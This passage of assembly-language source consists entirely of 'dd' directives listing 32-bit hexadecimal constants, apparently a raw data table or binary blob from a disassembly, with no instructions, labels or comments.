		dd 5E9C9B5h, 84FF045Dh,	98C6C46Eh, 3813A3C1h, 0DA5B5360h
		dd 7026AE81h, 0CC02C033h, 0B29DB9C1h, 0C3041B72h, 0EECEBBDAh
		dd 0A91EFEC1h, 0A221F2Bh, 1340C7Fh, 8BB6F9D3h, 0B88FA69Fh
		dd 0D17577E7h, 0FF2B0EF4h, 9FEFE88h, 0C78D9905h, 0AE1D3E46h
		dd 0EBB8E3Dh, 7218DA6Bh, 79E3A797h, 3345CD9Dh, 22AA448Ah
		dd 8B5695B4h, 0BD34DB79h, 0D9DEC067h, 7F2F1274h, 49B6A809h
		dd 1F8A65EAh, 0AC44B739h, 0A297D00h, 0DE7BAEC5h, 68D52430h
		dd 0E2C7EE58h, 81CBB1DBh, 323AF132h, 0CB282003h, 0B3E40844h
		dd 45E6C199h, 304D12ACh, 984B4F30h, 683B5C04h, 0A20907A6h
		dd 6F07CA9Eh, 0FA6E3875h, 0B17C18A3h, 3820269Ah, 0C35DC3CDh
		dd 0AF914ADh, 0E96F91D9h, 0F92944F2h, 994C2A98h, 48723A2Eh
		dd 5C95AC2h, 1CD02E9Ch,	0DB09F731h, 755A34EBh, 0D12CEA50h
		dd 1BC1E25Ch, 0BE1E6648h, 3E086F0Ch, 3A112408h,	8FF72F07h
		dd 0FAC54D5Ah, 37EA33E9h, 0F6AD5B01h, 0BB602DD0h, 0EE2119EEh
		dd 9AC8C19Bh, 0A5C61747h, 8FF30478h, 79C931A7h,	65C52F52h
		dd 1AB5950Ch, 0E64B6AA1h, 0F963BFDh, 5F4E9FA4h,	98EEA4C4h
		dd 3112FC37h, 93E37620h, 685ED4CEh, 3E4D93Dh, 982F0ED0h
		dd 0CE99A79Eh, 0B806A816h, 0C3FC379Fh, 820DC2B8h, 0B377632Ah
		dd 0B7BD560h, 6EB524B1h, 0ACE8B88h, 0B4BB990Eh,	4C2D1B0h
		dd 0A22DB4A5h, 0CB42109Ch, 3F95A263h, 57C77CDCh, 0FF3C94ECh
		dd 0B8DD03C5h, 759A974Fh, 21065228h, 50FAF0D7h,	841029DCh
		dd 67302F6Fh, 55A52973h, 17297F29h, 328E4787h, 0A76DD5D1h
		dd 7DC388F8h, 1858E868h
		dd 0A1BC46B4h, 46F1676h, 0DD6A992Ah, 0FD24E1F6h, 0FF08CE04h
		dd 4433C61Ch, 2C618550h, 6F66CD52h, 0BDD7ED08h,	3AFB2471h
		dd 146E5F8Ah, 4B599AA5h, 837898B7h, 7293D7FFh, 0CC369B78h
		dd 0C86552CFh, 4D625DDCh, 46AC3F2Ah, 0DB424B60h, 2260C83Ch
		dd 4AA7D5A3h, 40A94174h, 0BAE04F74h, 0A5E3A557h, 0F44B39F5h
		dd 6C07ED20h, 61EB8835h, 32ED1AE3h, 25317645h, 11461EBCh
		dd 0A276477h, 0D79C21Ah, 0AED6A490h, 0A6CD79EDh, 385B5803h
		dd 0A41815AFh, 57CDAE5h, 311E8A44h, 0C1E02CCAh,	0FC340A1Eh
		dd 0B0441303h, 54D18902h, 1E04C307h, 3D18BDECh,	0DD2B18BFh
		dd 0D5C81C3Fh, 0C0B88467h, 538A2F70h, 0C8ED56F1h, 0D3D9D9F6h
		dd 38F5B766h, 548032F3h, 1E3BE850h, 0A732D0Dh, 0A88207B2h
		dd 0D38239C7h, 5FA7AEBAh, 41C229EAh, 0F2C8E217h, 0EEA0C585h
		dd 0A29FDC84h, 3A26FA10h, 0E8D2E7DEh, 8E52AB6Ah, 0B4C318EDh
		dd 96EBBFC5h, 1F0C77E1h, 7A8D58C9h, 759D7FB6h, 21B245C4h
		dd 7D613CB5h, 31651BF7h, 521BBE38h, 0F116C430h,	5FBD3997h
		dd 0CB98A6F8h, 36AFD98Fh, 3197E76Dh, 0B301C3A3h, 95D0A360h
		dd 0A9B6BD7Dh, 2177CC32h, 7CA27222h, 0D110B09Dh, 9320ACE2h
		dd 0AAC74211h, 0CA7F2A3Fh, 292D9E8Eh, 2C7C983Bh, 6654A826h
		dd 76E491DCh, 798EC866h, 1018C9h, 3A86D130h, 0D81A84F2h
		dd 8B4ADA15h, 987A662Ch, 9033AF85h, 7406905Dh, 354E2822h
		dd 4B04855Ah, 0ABEBF67Ah, 40641472h, 0E4E7374Fh, 0C677AAA7h
		dd 17E94229h, 0E2A02385h, 55B8DF14h, 8B6E7293h,	0F2366004h
		dd 7E5AE6BBh, 4F6C2059h, 2E0CFB63h, 0BE4423AAh,	0B2FBD56Fh
		dd 76CB5056h, 7D9D770h,	0D9871A7Ch, 742C2F5Ch, 336AF7CFh
		dd 12F3546Dh, 518E30ACh, 0C1A8E0Fh, 0CD6732Fh, 0DE35C2AAh
		dd 150989D2h, 49BE2B77h, 56DD9CA8h, 0C841F805h,	9A3517E9h
		dd 0D03BD5CEh, 0CAB09C45h, 0AF1A9344h, 23CE589h, 0E99CB904h
		dd 0BD8F9044h, 704D6D33h, 0E4EE609Fh, 0B5CD8FD9h, 0E47485FAh
		dd 1492D5C8h, 0AB7D40AEh, 0D16145F4h, 0D6783EDFh, 5DC5281Fh
		dd 0FC371546h, 67A14C6Dh, 0F74300D4h, 2C5FDBFh,	0F931019Bh
		dd 0B020AF97h, 0C167C1Bh, 27BEFE01h, 5BDEFEAEh,	39C8197Ch
		dd 0AFC6BC30h, 0CBEB8DCh, 6456C37Ah, 3153AFC8h,	5E2A8BBCh
		dd 5937D393h, 0DDD71E4Dh, 15B08473h, 67D67F10h,	0ADB84917h
		dd 5DA82194h, 15FFB851h, 288341E6h, 0A9CC1090h,	25FF590Ah
		dd 71523704h, 0C290B4B9h, 0E0115104h, 33C48026h, 6D328067h
		dd 8DA14990h, 9B42CE9Eh, 0D6CE213Bh, 711FB747h,	508F8494h
		dd 0C439953Ah, 2A355BDBh, 0B84D4A50h, 6E2CD36h,	50F8A42h
		dd 0A008F198h, 0FFE6B85Bh, 5E55ABA7h, 1775522Ah, 6F96F688h
		dd 0E271B8C9h, 301BCBD3h, 0F1180645h, 63768E71h, 0F8A845C2h
		dd 0E57A1844h, 63BBF092h, 94A6B30h, 3930D649h, 0F7E49173h
		dd 3F1E711Ah, 0CB9DAA1Fh, 4F69885Ah, 7DFE2298h,	0CD0F7473h
		dd 0FE0B7693h, 0FE644B2Bh, 7DF0BD57h, 0A1A02D60h, 94970118h
		dd 9EC840A6h, 743670h, 84C97A7Ch, 8C3DB234h, 46F186BCh
		dd 81368CF2h, 7D5887F2h, 8BED51AEh, 0C445190h, 7A7359EDh
		dd 16FF19F0h, 0EBA5E5A2h, 474853BCh, 92BFEF72h,	868FFC6Eh
		dd 5EA3D597h, 86116A6Bh, 36372AAh, 0BDB74F1h, 0D472530Ah
		dd 89684397h, 0E040B61Ah, 0B8DECB39h, 0C4FAFDEBh, 5C8A238Ah
		dd 396EDFBDh, 0B58E744Ah, 4D2E5C1Ch, 3F007922h,	23C8F235h
		dd 370E2934h, 123819Bh,	0EF9110B1h, 62605F37h, 0BFBCAC3Bh
		dd 990295D8h, 4500C794h, 0ADFF054h, 889E953Ch, 0E7A354A5h
		dd 4B2F5A04h, 39D1306Ch, 1B340C79h, 0C64DAB5Dh,	0CA61FE76h
		dd 5D0263h, 0BB4A9BF1h,	75BE11DBh, 0F0A31564h, 27DA1901h
		dd 4DFF44DAh, 1D7074C6h, 6536E8D9h, 25A11C5Ah, 0E544892Dh
		dd 17AF53Ah, 0B6EB5485h, 85731C3Fh, 86A7C478h, 0DBCD33B1h
		dd 0E79099C7h, 0E072A2D2h, 67AC6E43h, 94EC1DCBh, 190CAC08h
		dd 0D3C7B405h, 0BF15144Ah, 0AEFC9309h, 869649CDh, 0AD232152h
		dd 0E81A6AFFh, 22B0AB46h, 0A2E9C883h, 0DF705344h, 62282506h
		dd 6E49FABBh, 0C862A3E9h, 58ECDE7h, 8D904F72h, 47598838h
		dd 98536BE9h, 7FAA67E9h, 0F0F977A9h, 17266AFh, 0A138D94Eh
		dd 4389DEA5h, 32227C71h, 0B38263D5h, 4BEEFF7h, 14E5F539h
		dd 306E0249h, 0D74F7314h, 85ECE90Eh, 279996ABh,	95806D0Eh
		dd 5156C7CBh, 34097F5Dh, 74361B6Dh, 0C402C556h,	2843EF92h
		dd 65BA82A1h, 0EA278955h, 4421F35Ch, 37E46BAAh,	0ED923EF0h
		dd 0A4532ECDh, 0DAB56924h, 0D2888EBBh, 0CBD4F08h, 13C13380h
		dd 0E06BD5AEh, 0F5850E5Fh, 1BB07627h, 77E6DC5Ah, 528B404Ah
		dd 927AB539h, 0E75B7CBEh, 73A76635h, 0A37833Eh,	8D95C37h
		dd 0E51A0B93h, 9381D12Ah, 0A9850FDAh, 98E84B98h, 90855F2Ah
		dd 19882DD9h, 15F9AF8Ah, 21F5ED0Ah, 916655CCh, 934769B7h
		dd 0E272DF29h, 89D91F7h, 93EDF3EDh, 39FB3391h, 5EB29D56h
		dd 6D00DA8Bh, 0B8B10AFCh, 7CF33110h, 0E0338E65h, 0CADD9501h
		dd 29D530ECh, 14F21FE2h, 5E2E8892h, 41AF6727h, 5CF2400Ah
		dd 0F63AF461h, 48014657h, 0E34905B8h, 220C364Ah, 511B2078h
		dd 0DAACDA8Fh, 96137F11h, 3C1C3B89h, 0C3892E24h, 533BABA8h
		dd 2EACC98Bh, 0F6138575h, 36F4FA6Fh, 400EAA73h,	0C9FB68C2h
		dd 20AEFAE6h, 0A8873166h, 6A4EF15Fh, 65EFA1F4h,	0C8B9D13h
		dd 9AC5C3FBh, 0EBFB77F2h, 0C25429EFh, 0BC0C1140h, 0A659019Ch
		dd 0E3A25E44h, 55834DE1h, 59E83A8Ch, 0FD4E3CC7h, 68FB539Fh
		dd 0FC715AB9h, 9B937260h, 0F21D4E2Ah, 0C6C44B2Ah, 0BBB071D0h
		dd 66A3D4BDh, 7E88BA86h, 5086E0A8h, 0C5B65451h,	5CBC3796h
		dd 77B3756Fh, 964D19ABh, 0E5B5DC9h, 0A7348198h,	56D79B7Bh
		dd 706B66FEh, 0BB52931h, 1F3CB192h, 0BE353A34h,	7603FD84h
		dd 0F9B07DBEh, 5E18446h, 3A29581Eh, 0CC901FDDh,	7EC0FDEDh
		dd 0DD6F0A72h, 5338912h, 0E085C6A5h, 726E9BFBh,	1AD8E4BEh
		dd 683F7F2Dh, 9D9BFA06h, 79FAC334h, 0B6E0169Ch,	0DE789608h
		dd 32DD0DD3h, 0F5FCDA56h, 3967DB90h, 21BB457Fh,	4A16041Bh
		dd 2A92204Eh, 0D2C2283Fh, 183D911Eh, 368B9DECh,	8139CCA6h
		dd 0FAA4BADBh, 2A333886h, 0CEE8BE39h, 0BF6CCE7Ch, 7B4B839Bh
		dd 0B64DB22h, 100B79E2h, 9959B891h, 0A8FFB950h,	0A8D6577Eh
		dd 0BF6695C0h, 57823F96h, 0CA6ADA06h, 0EC978713h, 207A5BA9h
		dd 83B130E3h, 1DFA9656h, 1999F2D7h, 736EF2F7h, 1B50A67Dh
		dd 3504ABC4h, 24EF003Ah, 0B92E8EF3h, 0B3C32DCBh, 954FFE0Dh
		dd 674FCCB9h, 0B0D3F4BCh, 1D369F48h, 0AC4CE602h, 4627792Fh
		dd 0F430A3DCh, 0E3533911h, 0B0386FF8h, 4C3BEBCFh, 406A6205h
		dd 51F7C431h, 0BFF7ACh,	0D4DE2FACh, 0B45FFA85h,	1012797Ch
		dd 545F5B9Eh, 425A638h,	4CB21FD0h, 206ACB03h, 0CB3002E5h
		dd 954C350Fh, 0D8BD1521h, 1C395FE7h, 0D7BBA5C5h, 0BFD9C066h
		dd 0F66656E9h, 178660EDh, 0B56D70A9h, 97C09A08h, 0DFC24F12h
		dd 0B16052E1h, 0B87F0B86h, 0CF187664h, 0B46E11FCh, 94D473EFh
		dd 5B836B4h, 0E73DD524h, 5F31B0C7h, 0F32B36FFh,	0B8F2371Eh
		dd 9A4A9560h, 0BFB01AEBh, 7CEE090Eh, 377A390Bh,	0EE257721h
		dd 0D364EF62h, 0F7DFCD8h, 2DA54B1Ch, 0D2D697B4h, 428D232Eh
		dd 0E9DE2432h, 86ABD02Eh, 0D1933C0Ah, 71AA793Ah, 0F39BA702h
		dd 0FD0F3F76h, 1B069FF3h
		dd 854A2053h, 38F3B06Bh, 525E2A4Dh, 0D074B5FAh,	8552FD54h
		dd 0BBEE5296h, 8E250D22h, 0D0E65A99h, 1D792EBEh, 5F32A7DCh
		dd 29B2002Eh, 2D2AB93Ah, 79EAACEEh, 50C2BDD8h, 84D7BACh
		dd 0B65C42E6h, 67125C2Dh, 36073143h, 5A9ADD6Dh,	0D0041854h
		dd 78E36EB0h, 7906E68Bh, 872251Dh, 465007B7h, 559206AFh
		dd 0E2AA33B3h, 0ACC5BCE5h, 0A69BC61Ch, 85197C0h, 0C4E44FF0h
		dd 0F7314191h, 1BE98383h, 64CB9040h, 4FF4B86Bh,	0EE14D75Bh
		dd 0D6D70634h, 0F46EE8DAh, 6DA948CDh, 0C5D7C4E6h, 4E396195h
		dd 1BE81655h, 26D9FB99h, 7CFC083Dh, 7FF9C81Eh, 86FEEFDh
		dd 0C47B5EDBh, 0B11BD3C3h, 610CC13Dh, 0B662DC25h, 691D94AEh
		dd 0B684C46Eh, 582B2BAAh, 0A3F09B83h, 5BA8A020h, 0C0ADAD99h
		dd 95E55287h, 758036EEh, 48709ADAh, 8AE9194Ch, 0B8D56A06h
		dd 0A5F25E66h, 36CE258Dh, 36F623DCh, 0FD5CE804h, 9DAA0674h
		dd 82AFC5D8h, 0FD8D2DFBh, 98A5007Ch, 8A172A38h,	2D9E2507h
		dd 52C54FE7h, 2EC8BA57h, 5ECF26F5h, 0FFBE32E1h,	0D59BFA18h
		dd 0A9A9D720h, 865A19A0h, 6143EC33h, 857B2706h,	6D149BC1h
		dd 0DC159C67h, 0E6A6DBh, 8EB08E83h, 712AC451h, 0A99A7F3Ah
		dd 46F772A0h, 5A1FD179h, 9C2BA193h, 181B7194h, 0F01C97EFh
		dd 0C37E8624h, 0B9611E13h, 9B45DE0Bh, 0AEBBA9A1h, 1BBAC261h
		dd 0C2758ACCh, 0E623B8E6h, 26DE0E38h, 8B44A781h, 559F3FEEh
		dd 0EF522EE5h, 44952764h, 7987F830h, 0C626F1B4h, 0E90AAE1Dh
		dd 83BCBA0Ah, 0E9DDEF5Ch, 98402D62h, 0CB29C814h, 37CAFCBDh
		dd 42650A10h, 4CE3E64Bh, 0C5C2C68h, 4A7968EAh, 26C6540Fh
		dd 0FA853567h, 966A4509h, 45166D95h, 0CA69076Fh, 20F9D0C0h
		dd 73423685h, 818D3D89h, 96D4F66Bh, 0C9DC8269h,	1001A6D0h
		dd 0FDB52EF6h, 1C867B39h, 1DCEF883h, 0CB5C929Ah, 3CEE120Eh
		dd 55CB9F6Bh, 0F98A3BDDh, 20771285h, 0BD72A129h, 0EDBDB785h
		dd 3B81F6C1h, 4B86D833h, 1DE765BEh, 804A947Dh, 69592C83h
		dd 33900F2Eh, 0D53C50D9h, 91B64A9Ah, 6A875AC8h,	0C8CD05B5h
		dd 3FA9FDCCh, 0A905E046h, 0A378E9B9h, 0D68C3DC2h, 63CA4F07h
		dd 409F5608h, 4DD5CB06h, 26197869h, 0C6F356BEh,	0C4FAECA4h
		dd 14ACB167h, 0BEE0BCCAh, 0C5D7221h, 792F1175h,	6235BC9Bh
		dd 8BD18762h, 3B8A2C8Eh, 0A3D8F255h, 0BBDD7900h, 1FDFDA54h
		dd 7BD90993h, 0B6573967h, 60D24B39h, 55BC12DAh,	6B203F6Ah
		dd 94E3D341h, 7233B636h, 0E8B80E7Ch, 67A80016h,	0F2A37D18h
		dd 0D518AF81h, 0FE33A1AEh, 3D3947F3h, 0C4D00F4Fh, 0FCAA5B55h
		dd 218A1F6Eh, 881CC323h, 71808F60h, 4C02A250h, 19617159h
		dd 197DD1B8h, 79605029h, 0B316A981h, 0EB750AAAh, 9F3353ECh
		dd 58848E26h, 8AA65CCBh, 0D6332D65h, 4BFEE041h,	63832118h
		dd 9B3E5450h, 7EA9D548h, 5538E9Dh, 0D852F8DBh, 0C6AE0B7Bh
		dd 8B303B60h, 8D990E82h, 5A380849h, 1062CBF3h, 64364109h
		dd 0F85BAB4Bh, 31F304BAh, 9AA1F783h, 0E0C1B46Ah, 0BD684B53h
		dd 0B3E244CDh, 8616BAFCh, 6E33DEE5h, 5DF10FD6h,	2B8F4FABh
		dd 0DE3CC4B8h, 53FF9A6Dh, 0DC034AAFh, 59176E91h, 0FEFDAD46h
		dd 3CFDCA7Dh, 0E6AB517Dh, 4D2BC594h, 0E6076357h, 0C4DA2721h
		dd 7EEB5B77h, 2CFB9D75h, 0FAF468A9h, 0B4153FECh, 7E0AE0CDh
		dd 0F80FADE0h, 0EFC5328Ah, 0DA16C62Bh, 1DD5EFE9h, 16EF7998h
		dd 735C00B7h, 0FD0CF9BDh, 976EA65Fh, 187CB1E2h,	0B21E38C9h
		dd 9B81A9C9h, 6CC302B5h, 0DC0C44E3h, 0E7CFA7B1h, 7F34A4Bh
		dd 32B3BF83h, 82609102h, 3F33C907h, 8E6B4802h, 2CBA72BFh
		dd 0DBED756Dh, 0A357F048h, 0C275BA96h, 22A27E46h, 0C44E5C7Eh
		dd 3A95AC4Eh, 924622E0h, 7702DE56h, 6CF0666Bh, 0B2457261h
		dd 29E96EB5h, 8608FDB3h, 7D0E6216h, 927C3E3Bh, 0B7E52576h
		dd 0BE7184EDh, 0C362F1CBh, 7705F45Ch, 0A79BE464h, 0E799C308h
		dd 0B027C0E7h, 2A2AEA5Fh, 0AB0C8238h, 1D31269Bh, 0B469E530h
		dd 7587ECDAh, 0E0AD0837h, 4BACF317h, 243EECFBh,	0F46C35A8h
		dd 0BCD214C7h, 0AC7D813Ch, 56CC39FCh, 0C1E9D175h, 0D5F29818h
		dd 857CC40Ch, 972A6480h, 347AEE22h, 1679EDA9h, 63ECCEC5h
		dd 0F0E2E25Ch, 95601B09h, 0F7FD9A84h, 909F54F6h, 23FFCDFAh
		dd 0B7FA2C3Bh, 0FB490A7Eh, 378A14E8h, 6A11C7A7h, 430A6137h
		dd 0B7701476h, 0F042DF13h, 65905701h, 4EDE7302h, 0A3790F02h
		dd 0B382339Dh, 3E3DAAF7h, 6DBA9C48h, 1C7DA6B0h,	49FD0AABh
		dd 0A706D987h, 3501C9D7h, 0C515D089h, 0C2C5E266h, 0E2484E02h
		dd 0EE9624ABh, 0D0751903h, 0A86B5279h, 57C4B5BDh, 4B5C5EADh
		dd 1A50BBDBh, 8F0B928Ch, 3CDA639Fh, 0B8EF6A44h,	4F89F83Dh
		dd 0EE4C6D8Ah, 2A264DB7h, 8BF05759h, 5D92436Fh,	6F3C6FE1h
		dd 0AC756B89h, 0AABAB77Fh, 3B7DD89Fh, 4FDEA34Bh, 0EA490129h
		dd 79084198h, 31B028h, 256AABF4h, 0C103B04Eh, 664E72DAh
		dd 801DBD4Eh, 0A100F2FBh, 0A4EBDB9Fh, 0AD73579Dh, 0E6523F86h
		dd 114BFD38h, 0D6353B14h, 10086CF9h, 0C076B888h, 0DC0F53FDh
		dd 70ECCFC4h, 2F379163h, 34683C0Dh, 9A41D412h, 638F383Bh
		dd 0A5FB34E8h, 5CC876ADh, 9DD48A14h, 0DACA536h,	3CDF7E13h
		dd 41987344h, 0A4A67C72h, 15E3A8F5h, 0C0476B46h, 5398AF23h
		dd 5E9C497h, 80421E69h,	4693785Ch, 6304116h, 780F3E77h
		dd 6891AF17h, 16086C16h, 9C3E5BC4h, 2E53B500h, 0DEDA79A3h
		dd 74C0059h, 8124C3BEh,	0A3CC3802h, 624BDE09h, 8A586616h
		dd 995509B2h, 9112042Ch, 0F723C40Dh, 20A50B8Ch,	0E13C4678h
		dd 41D2BA67h, 6B2829CDh, 47DD12DEh, 0C4AA6E9Bh,	0C1E5F1FEh
		dd 0CE5CCB75h, 360EAB66h, 8DCB6A2h, 6F979C1Bh, 0FDDD35D6h
		dd 97A32612h, 2200DAF9h, 0FEF265DEh, 9CF5BC4Ah,	93CD2305h
		dd 0DB8C363Bh, 0AAEC9FAAh, 0F1397513h, 4873C921h, 0BF710D3Ah
		dd 7B07CD92h, 9AE3F6Bh,	79E2E203h, 0A12A38B7h, 29D3CD4h
		dd 3ECFBF72h, 4BC41933h, 1B53A5Eh, 6429DFAh, 14DE7358h
		dd 6A26FAFCh, 0FC3FEC69h, 8B861090h, 0CC603B7Ch, 89D7F788h
		dd 0B6FD789Ah, 0FDBA94C1h, 44AB66D0h, 0DBB4C31Fh, 4DF13BD2h
		dd 7359F08Dh, 9F758D43h, 0F8DD24AEh, 3A124DC2h,	2339447Dh
		dd 1D01F0D0h, 0CB02E222h, 3E0FDE6Bh, 707CA129h,	6404250Ah
		dd 0BBE391B0h, 0E9FAC5F4h, 2FC7F486h, 572A48EDh, 2D82943Dh
		dd 56459882h, 0AACE8F3Ah, 0CA743808h, 6AD34506h, 0C34ECD1Dh
		dd 5F56CA85h, 0A3E4861Eh, 0C3D2CAF7h, 8746F09Fh, 29D469CEh
		dd 17BD666Ah, 82F07794h, 0F837340h, 0C23CD11Dh,	0AF429DDBh
		dd 55CC9CEBh, 9510FB6Dh, 0F745602Eh, 185EA0D0h,	47AE6907h
		dd 52E3CFA0h, 71202C12h, 62A3319Ch, 0B934C809h,	7873F432h
		dd 93DAE8BDh, 9CCD3AC3h, 94C63B73h, 3FE73B7Dh, 8FCCBB23h
		dd 0F79B2890h, 78815D55h, 179A0C1Ch, 0CFC4A7DEh, 6B87BDBFh
		dd 0CB50E6BEh, 0CEF1A470h, 3B4C7463h, 0F18F38B7h, 0F89574E5h
		dd 0EE29223Dh, 75B026EBh, 0CE229815h, 6F2EB93Dh, 58C2C70Ah
		dd 6D0BD78Dh, 903D3DB1h, 38D71134h, 44FEF808h, 0A186F4B8h
		dd 0DE8CA78Dh, 0E264E66Ch, 0D96184E0h, 0CE117323h, 386A7897h
		dd 0D92BE2A7h, 84E6D829h, 0B9F7C72h, 0BFC27420h, 0B9674210h
		dd 0AED8BA8Ch, 3FDEFD38h, 1730416Eh, 244EDC0h, 6C67AE34h
		dd 398557h, 0CD2386E3h,	0F98A4375h, 10D4613Ah, 70D687C2h
		dd 8E68E548h, 0A133BE02h
		dd 5E448627h, 88698276h, 63753F04h, 0D73D3CBDh,	0B6C170C6h
		dd 5E8FBB35h, 2DF352E2h, 0DD3BF6E3h, 20B71C6h, 7703F17Eh
		dd 0C315D2A0h, 0EF898AE2h, 1BC6C81Ah, 0B530908Eh, 0BC18452Eh
		dd 969FA09Eh, 59ABD66Bh, 0AFF18D41h, 938C3846h,	58C93153h
		dd 0BD1FA37h, 7CAAE503h, 9EC07E2h, 0C7A03CE7h, 88BC731Eh
		dd 5057188Bh, 6951AD14h, 4645B8A5h, 606D99CDh, 53B5078Ah
		dd 0F4E915C1h, 9CDB1278h, 2723565Eh, 67CCD242h,	5EE00EA8h
		dd 0FCCD9F42h, 0D3BF05B1h, 0D4546BEBh, 59218438h, 0D9F2BAAAh
		dd 0C07D2045h, 0C1380F1Bh, 4873E10Fh, 0F2773F24h, 0C3AC3BFAh
		dd 0E280FD7Dh, 0D133B132h, 21666706h, 0A9BBA4E4h, 0C75A961Bh
		dd 54DB83C7h, 53F8C41Dh, 0A274FE62h, 1A5DBF09h,	0B4B4FFC4h
		dd 691C89B0h, 3179F3F7h, 0F502B0D4h, 1735E0Ch, 0E242F6B4h
		dd 0F947E56Dh, 88B6109Bh, 581F2EA5h, 0C5B52D5Ah, 0D11E72B9h
		dd 0BE5FD093h, 0DC61443Ch, 9CF90AE2h, 187B4DCEh, 5CE20E50h
		dd 1B09ABB8h, 6D624809h, 0DF283E0Dh, 43E6A0B7h,	5AE38881h
		dd 1ED0532Dh, 0B139C8F3h, 0B98F2D64h, 1581B883h, 1EF08F4Dh
		dd 1D99EC20h, 9684ACBBh, 54D0CC61h, 4E41C6Eh, 2C90C735h
		dd 314F70C7h, 268AE228h, 0F21F35C3h, 0F69305D4h, 7E3229B5h
		dd 0ADC435A4h, 0B7F38BB6h, 2310061Dh, 0FC5361A7h, 0DE41BFAEh
		dd 0A883A7EDh, 4D1E033Fh, 488A189Eh, 7FA612Eh, 0E23797Ah
		dd 0FE507908h, 6B105750h, 3AACC14Bh, 3560A060h,	8327E79Bh
		dd 0CC5B69A7h, 3D1F10D4h, 0E8C8280Eh, 0A7569862h, 0EA14D34Ch
		dd 80035552h, 5DB91F31h, 0FF34672Ch, 41FBAD3Ch,	1DB6FA3Dh
		dd 8E074EFEh, 323AC4F7h, 4115986Bh, 7FB7823Fh, 8FE177CAh
		dd 0EDA9EF59h, 0D3E13675h, 59099845h, 0EA2CC9D6h, 0B2239C79h
		dd 21914AAFh, 8B9D093Bh, 3C084194h, 0F15B171Eh,	0CFABB5B5h
		dd 0CD435D4Ah, 777F572Dh, 0D352DE48h, 56A0FEFCh, 0FC3DA44Ah
		dd 99927FAh, 0EC879C06h, 753BCB4Eh, 62981A8Ch, 6F90F4CFh
		dd 0E5B63F88h, 0C493FB40h, 5515FF2h, 0BC3ECB0h,	0D473382Bh
		dd 5CA09ECFh, 64965D0Dh, 0B3D410E3h, 0A7F83E02h, 26EB6900h
		dd 6DE09CD4h, 83C556C4h, 0F1FED5Fh, 86C56815h, 671741FBh
		dd 0BECFCCE1h, 20937438h, 5C84E748h, 6FC91E8h, 0B45EC776h
		dd 0BBDF886Fh, 0A693C454h, 0E29983DDh, 14D88727h, 609898C9h
		dd 0EB957A94h, 17148A2Ah, 3D27E500h, 17C68802h,	62FA842Ch
		dd 5012A01Eh, 74DBDC5Dh, 58ACB264h, 422D1781h, 1E006B7h
		dd 8F1895DFh, 0E95D010Bh, 0A17C3B2Fh, 8568448Ah, 15D1D9E5h
		dd 3C6CFB3Bh, 4A4C923Dh, 0ACBE272Ah, 6453BE24h,	2DDE196h
		dd 8C7EA790h, 0F72968F0h, 7179DBC6h, 5F75A14Eh,	0F44DE344h
		dd 799B00C4h, 0F92D68DEh, 0E32206h, 31F01094h, 0F7C49E1Ah
		dd 0DE8DA9C5h, 0EDF5BC61h, 70082BF8h, 2E24B0D8h, 555691A9h
		dd 664EE50h, 0A276F8B8h, 4947043Dh, 0BA3C1546h,	5327E012h
		dd 6B226B1Dh, 0A5E63161h, 0A2103613h, 776B1386h, 481AE243h
		dd 9674ADE3h, 8F212AFh,	9DAF97B9h, 0CE80715h, 0CB9BF1FDh
		dd 2D3833C2h, 8E64DEF9h, 0E0DB52Eh, 6708A549h, 0F123FF61h
		dd 57F019CBh, 6D55A244h, 677D5F78h, 0A8F10206h,	1DDDA90Dh
		dd 0F4275342h, 0E323F06Ah, 1F3EF9B3h, 0F03AF77Eh, 86C7BF42h
		dd 9F8DD070h, 512EDAC4h, 0EC5ED110h, 4FE85AE1h,	4A8271CBh
		dd 0A9ED21CFh, 6712DD9Bh, 0DA6B794Bh, 2EFCF209h, 4976D44Bh
		dd 0A629BB2h, 7C66999Ah, 0A3DC3BBBh, 0EAECFD84h, 0C845966h
		dd 31DC1621h, 0E6B0589Dh, 0D9EDC966h, 0A90984F3h, 21BC33E0h
		dd 0B521836Eh, 34C30AEAh, 662150D6h, 3827BDE0h,	2C24461Dh
		dd 0ED234AD6h, 1B1A97F4h, 118130BDh, 5FCBDF9Dh,	0A4EBC3DCh
		dd 643D720Ah, 75C59618h, 6BD5071Eh, 9909913Dh, 28CEA681h
		dd 1C23E713h, 7F2477C2h, 0BCF27547h, 0B77BEE68h, 850D81CEh
		dd 0ABA27F63h, 10BC9783h, 0C3C00E23h, 66E46892h, 0CB0920A6h
		dd 77DE9BA1h, 4BC1165Ah, 5012C9B9h, 0BEF74B5Fh,	216B17CBh
		dd 1D1387Eh, 0B94FF49Dh, 0C9E37264h, 0CB96C58Bh, 5E192752h
		dd 0CA7BFA32h, 0E716197Dh, 92FF3B25h, 6D5B3D9Bh, 4A3AE9F9h
		dd 0A96FD60h, 307CB8ACh, 0C1A059FAh, 80A2ABD5h,	0C113B02h
		dd 29A33906h, 808B7C35h, 0DFE29796h, 4D96E009h,	38F39F96h
		dd 9D844CF5h, 49EE6F88h, 0B2B5F196h, 0D54D8047h, 0E2B0C6B5h
		dd 4B58CEA5h, 6E58C566h, 999E6C97h, 84F41780h, 74F359D3h
		dd 56E85EEAh, 86B48BC5h, 7AD18AF5h, 0D17CB7D4h,	4664FE11h
		dd 0A7CC6032h, 5EA80B93h, 749954B9h, 0B0363887h, 0DC3391D7h
		dd 7ADB1735h, 0D5BDABFh, 770755ACh, 0FEA1B0Ah, 0D4ED3E26h
		dd 6A66932Eh, 0C04A48E9h, 1E78B509h, 0F5682FEh,	3D26E177h
		dd 0A739844Fh, 4C52FEE9h, 74791BDFh, 24766DFh, 2F39FC7Eh
		dd 0EF6F14BBh, 6019F8EDh, 9CF1CB58h, 4A4B00F3h,	6F9EE1EEh
		dd 0E319DCA2h, 7A4ACF2Fh, 6FE19A22h, 49F22F26h,	0E29F599Ah
		dd 1EC925CEh, 0B247EB6h, 2746224Bh, 787E1E26h, 0DEF24D52h
		dd 0C33CAC24h, 466BD45Eh, 233E62F5h, 5B5846C3h,	1C9C854Fh
		dd 62D75E8Ch, 0F37CF4E5h, 6C3DF17Ch, 521B0ECFh,	3A2DD29Fh
		dd 858C6975h, 79FFF25Fh, 534107B3h, 4B0D7DC2h, 1035A4C4h
		dd 63A3CF11h, 0C6DF25EDh, 0A4F48515h, 5BC5619Bh, 128CCDDh
		dd 0A320AD90h, 0EFC59B6Ah, 5D64C696h, 73B441AFh, 7B3FA302h
		dd 0D0ECE4A8h, 0C7253726h, 1FD6CD66h, 707F9B37h, 0A2608BD2h
		dd 0D70C8EBEh, 7D35DBD7h, 0F282B0AAh, 0A087CB0Ah, 7EF2BBF1h
